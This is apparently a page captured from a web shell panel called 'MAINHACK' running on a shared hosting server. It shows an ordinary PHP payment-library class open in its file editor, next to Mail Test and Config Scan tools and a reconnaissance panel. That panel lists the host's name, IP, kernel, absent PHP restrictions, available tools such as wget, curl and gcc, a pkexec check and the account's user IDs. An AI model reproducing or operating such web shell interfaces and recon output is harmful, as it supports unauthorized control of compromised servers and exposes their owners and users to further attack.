[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: RedirectionForm.php
<?php namespace Shetabit\Multipay; use Exception; use JsonSerializable; class RedirectionForm implements JsonSerializable { /** * Form's method * * @var string */ protected $method = 'POST'; /** * Form's inputs * * @var array */ protected $inputs = []; /** * Form's action * * @var string */ protected $action; /** * Redirection form view's path * * @var string */ protected static $viewPath; /** * The callable function that renders the given view * * @var callable */ protected static $viewRenderer; /** * Redirection form constructor. * * @param string $action * @param array $inputs * @param string $method */ public function __construct(string $action, array $inputs = [], string $method = 'POST') { $this->action = $action; $this->inputs = $inputs; $this->method = $method; } /** * Retrieve default view path. * * @return string */ public static function getDefaultViewPath() : string { return dirname(__DIR__).'/resources/views/redirect-form.php'; } /** * Set view path * * @param string $path * * @return void */ public static function setViewPath(string $path) { static::$viewPath = $path; } /** * Retrieve view path. * * @return string */ public static function getViewPath() : string { return static::$viewPath ?? static::getDefaultViewPath(); } /** * Set view renderer * * @param callable $renderer */ public static function setViewRenderer(callable $renderer) { static::$viewRenderer = $renderer; } /** * Retrieve default view renderer. * * @return callable */ protected function getDefaultViewRenderer() : callable { return function (string $view, string $action, array $inputs, string $method) { ob_start(); require($view); return ob_get_clean(); }; } /** * Retrieve associated method. * * @return string */ public function getMethod() : string { return $this->method; } /** * Retrieve associated inputs * * @return array */ public function getInputs() : array { return $this->inputs; } /** * Retrieve associated action * * @return string */ public function getAction() : string { return $this->action; } /** * Alias for getAction method. * * @alias getAction * * @return string */ public function getUrl() : string { return $this->getAction(); } /** * Render form. * * @return string */ public function render() : string { $data = [ "view" => static::getViewPath(), "action" => $this->getAction(), "inputs" => $this->getInputs(), "method" => $this->getMethod(), ]; $renderer = is_callable(static::$viewRenderer) ? static::$viewRenderer : $this->getDefaultViewRenderer(); return call_user_func_array($renderer, $data); } /** * Retrieve JSON format of redirection form. * * @param $options * * @throws Exception * @return string */ public function toJson($options = JSON_UNESCAPED_UNICODE) { $this->sendJsonHeader(); $json = json_encode($this, $options); if (json_last_error() != JSON_ERROR_NONE) { throw new Exception(json_last_error_msg()); } return $json; } /** * Retrieve JSON format of redirection form. * * @return string */ public function toString() : string { return $this->render(); } /** * Serialize to json * * @return array */ #[\ReturnTypeWillChange] public function jsonSerialize() { return [ 'action' => $this->getAction(), 'inputs' => $this->getInputs(), 'method' => $this->getMethod(), ]; } /** * Retrieve string format of redirection form. * * @return string */ public function __toString() { return $this->toString(); } /** * Send application/json header * * @return void */ private function sendJsonHeader() { header('Content-Type: application/json'); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285